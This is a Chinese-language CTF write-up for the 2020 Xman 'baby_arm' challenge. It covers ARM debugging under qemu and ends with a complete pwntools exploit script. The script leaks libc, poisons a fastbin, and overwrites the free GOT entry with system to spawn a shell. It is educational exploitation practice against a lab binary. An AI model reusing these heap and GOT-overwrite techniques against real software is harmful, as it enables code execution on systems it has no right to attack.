arm题

2020Xman baby_arm

关于调试

用arm-linux-gnueabihf启动,-g 指定调试端口,但不知道如何像正常的pwn题一样在脚本中指定位置起一个gdb调试,导致只能在另一个终端中用gdb-multiarch ,tar rem : port远程调试,在目标地址下断点,c过去。然后由于没有符号表,不能打印system函数地址,而且bin命令、heap等都不能用,只能直接用x来查看地址的内容。总结,很难调试。

调试时发现arm架构的fastbin链表和unsortedbin双向链表的位置很迷,但功能和x86 x64的差不多。

还有就是计算libc基地址的时候发现用vmmap看到的基地址不管用,需要将vmmap看到的基地址+0x1000才能正常计算出system函数的地址。至于为什么咋也不知道。

from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
s       = lambda data               :ctx.send(str(data))
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))

#ctx = process(["qemu-arm", "-g", "2353", "-L", "/usr/arm-linux-gnueabihf", "./babyarm"])
ctx = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./babyarm"])
#elf=ELF("./awd7")

libc = ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6")
#context.log_level = "debug"

def add(sz,c):
    sla('your choice: ',1)
    sla('Note size :',sz)
    sa('Content :',c)
    
def edit(idx,c):#0x10
    sla('your choice: ',5)
    sla('Index :',idx)
    sa('You content:',c)
    
def show(idx):
    sla('your choice: ',3)
    sla('Index :',idx)
    
def free(idx):
    sla('your choice: ',2)
    sla('Index :',idx)
lst = 0x21088
#edit = 0x10990  add = 0x106E6 free = 0x1081E
name = 0x21068
free_got = 0x21014

sla('name:',(p32(0)+p32(0x28))*4)
add(0x40,'0')
add(0x20,'1')
add(0x20,'2')
free(0)
show(0)
lb = uu32(r(4)) - 0x27cc - 0xe6000
success(hex(lb))
sys = libc.sym['system'] + lb
fh = 0xE9734 + lb

free(1)
edit(1,p32(name+0x10))
add(0x20,'/bin/sh\x00')#3
add(0x20,p32(free_got)*3)

edit(0,p32(sys))
free(3)

irt()

 

你可能感兴趣的:(CTF)